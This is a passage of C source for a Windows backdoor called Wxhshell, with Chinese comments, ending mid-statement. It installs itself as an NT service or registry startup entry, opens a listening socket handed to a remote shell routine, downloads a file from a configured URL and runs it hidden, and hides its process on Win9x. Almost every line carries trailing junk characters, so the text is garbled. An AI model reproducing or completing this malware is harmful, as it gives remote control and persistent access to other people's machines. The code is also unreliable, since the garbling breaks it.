DWORD ExitStatus; vG:,oB}
DWORD PebBaseAddress; v3#47F)
DWORD AffinityMask;
)dDmq
DWORD BasePriority; 0k]N%!U
ULONG UniqueProcessId; sRI8znus
ULONG InheritedFromUniqueProcessId; :b)@h|4
} PROCESS_BASIC_INFORMATION; T,@7giQg@
0_izTke
PROCNTQSIP NtQueryInformationProcess; y%Ah"UY
aKcV39brr
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c3-bn #
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gl1$W=pR:
Ia"
Mi+{
HANDLE hProcess; e{S`iO
PROCESS_BASIC_INFORMATION pbi; ^@eCT}p{
zxHfQ(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s#49pDN
if(NULL == hInst ) return 0; {a%cU[q
FQ^uX]<3j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^S$w,
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5OE?;PJ(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P~>nlm82]
^r$5];n
if (!NtQueryInformationProcess) return 0; $yJfAR
rMloj8O*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CKgyv%T5m:
if(!hProcess) return 0; wu'60po
izA3 INT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZH:X4!
UQr+\ u
CloseHandle(hProcess); I!~Omr@P
6h8NrjX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a)b@en;v
if(hProcess==NULL) return 0;
mAKi%)
A(5?
ci
HMODULE hMod; qpCi61lTDJ
char procName[255]; vi|ASA{V
unsigned long cbNeeded; U {v_0\ES
Gu=bPQOj
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,oe4*b}O=.
L}nc'smvM
CloseHandle(hProcess); '(*D3ysU
a[De
if(strstr(procName,"services")) return 1; // 以服务启动
><^@1z.J
4 -W?u51"
return 0; // 注册表启动 ~o$=(EC
} Kz;VAH
c8MNo'h
// 主模块 G&-h,"yo^
int StartWxhshell(LPSTR lpCmdLine) UI'eD)WR
{ huE#VY
/t
SOCKET wsl; Uy=eHwU?J
BOOL val=TRUE; "w1jr 6"
int port=0; H*IoJL6
struct sockaddr_in door; .=S{
)vzT\dQ|
if(wscfg.ws_autoins) Install(); @"0qS:s]X
aleIy}"
port=atoi(lpCmdLine); 2{\Y<%.
}_x oT9HUr
if(port<=0) port=wscfg.ws_port; 5E8PbV-l
zwS'AN'A
WSADATA data; __ [q`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M"V@>E\L
>LSA?dy!?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; L2%P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oY: "nE
door.sin_family = AF_INET; C+j+q648>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); LV0{~g(!%
door.sin_port = htons(port); *lSIT]1
;RI,zQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e2Dj%=`EU
closesocket(wsl); 1GxYuTZ{
return 1; 49D*U5o
} umeb&\:8S-
wv$=0zF
if(listen(wsl,2) == INVALID_SOCKET) { %;S5_K,
closesocket(wsl); gg9W7%t/
return 1; `JCC-\9T_
} -XBNtM_"
Wxhshell(wsl); l=yO]a\QZ
WSACleanup(); A(B2XBS!?
as8<c4:v
return 0; 2},}R'aR
s_N!6$tS
} 0=iJT4IEJ
_ U\vHa$#
// 以NT服务方式启动 sQvEUqy9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *V/SI E*8
{ X}Lp!.i9o
DWORD status = 0; RzkJS9)m
DWORD specificError = 0xfffffff; LO229`ARr|
FoLwS%+yO
serviceStatus.dwServiceType = SERVICE_WIN32; JkmL'Zk>:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =}[V69a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A`KTm(
serviceStatus.dwWin32ExitCode = 0; y? g7sLDc
serviceStatus.dwServiceSpecificExitCode = 0; li[g =A,
serviceStatus.dwCheckPoint = 0; u/AN|
y
serviceStatus.dwWaitHint = 0; M;OYh
In
r%4&!e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^]kDYhe*Y
if (hServiceStatusHandle==0) return; +^.(3Aw
q0}LfXql8
status = GetLastError(); LYKepk
if (status!=NO_ERROR) 6S(3tvUr
{ UcZ3v]$I
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'D
bHXS7N
serviceStatus.dwCheckPoint = 0; V}*b^<2o5
serviceStatus.dwWaitHint = 0; K;Ktx>Z/
serviceStatus.dwWin32ExitCode = status; _Z%C{~,7)x
serviceStatus.dwServiceSpecificExitCode = specificError; 8LL);"$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wRKGJ
return; +W}f0@#)<
} 1g@kHq
lUrchLoDt
serviceStatus.dwCurrentState = SERVICE_RUNNING; rRMC<.=
serviceStatus.dwCheckPoint = 0; vDemY"wz
serviceStatus.dwWaitHint = 0; YG% Zw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0y(d|;':
} O/-xkzR*
Y#G '[N>
// 处理NT服务事件,比如:启动、停止 q7;)&_'
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,70|I{,Km
{ .R1)i-^
switch(fdwControl) uZNR]+Yu@
{ OG.`\G|
case SERVICE_CONTROL_STOP: s=q}XIWK
serviceStatus.dwWin32ExitCode = 0; k3Y>QN|q8
serviceStatus.dwCurrentState = SERVICE_STOPPED; 82$^pg>
serviceStatus.dwCheckPoint = 0; *{ .u\BL5
serviceStatus.dwWaitHint = 0; hZy"@y3Yq
{ l4; LV7Ji
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %n(
s;/_
} cNHNh[ C
return; _L"rygit
case SERVICE_CONTROL_PAUSE: ve$P=ZuM
serviceStatus.dwCurrentState = SERVICE_PAUSED; OS3J,f}<=
break; OIN]u{S
case SERVICE_CONTROL_CONTINUE: I++!F,pB
serviceStatus.dwCurrentState = SERVICE_RUNNING; u3q!te
break; 7>.^GD
case SERVICE_CONTROL_INTERROGATE: +}^
break; '=oV
}; =U:iR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #xO`k1W.
} 1{A4_/R
X:DHz0S
// 标准应用程序主函数 HLS^Ga,(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I(2ID +
{ j*P@]&e7d
)/BKN` ,
// 获取操作系统版本 1vobfZ-w9
OsIsNt=GetOsVer(); Y}0 - &
GetModuleFileName(NULL,ExeFile,MAX_PATH); /%.K`BMN
Y.-i ;Mmu
// 从命令行安装 N@k:kI
if(strpbrk(lpCmdLine,"iI")) Install(); U-k6ZV3&8
o;"!#Z 1SJ
// 下载执行文件 w ^r*qi"
if(wscfg.ws_downexe) { zFOX%q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?&?y-&.5-
WinExec(wscfg.ws_filenam,SW_HIDE); ]^s4NXf+
} y&iLhd!p
X'0A"9
if(!OsIsNt) { >~6
;9{@
// 如果时win9x,隐藏进程并且设置为注册表启动 <{'':/tXI
HideProc();
BYu|loc
StartWxhshell(lpCmdLine); YyI|^f8C
} BKN]DxJ6
else %bddR;c
if(StartFromService()) &v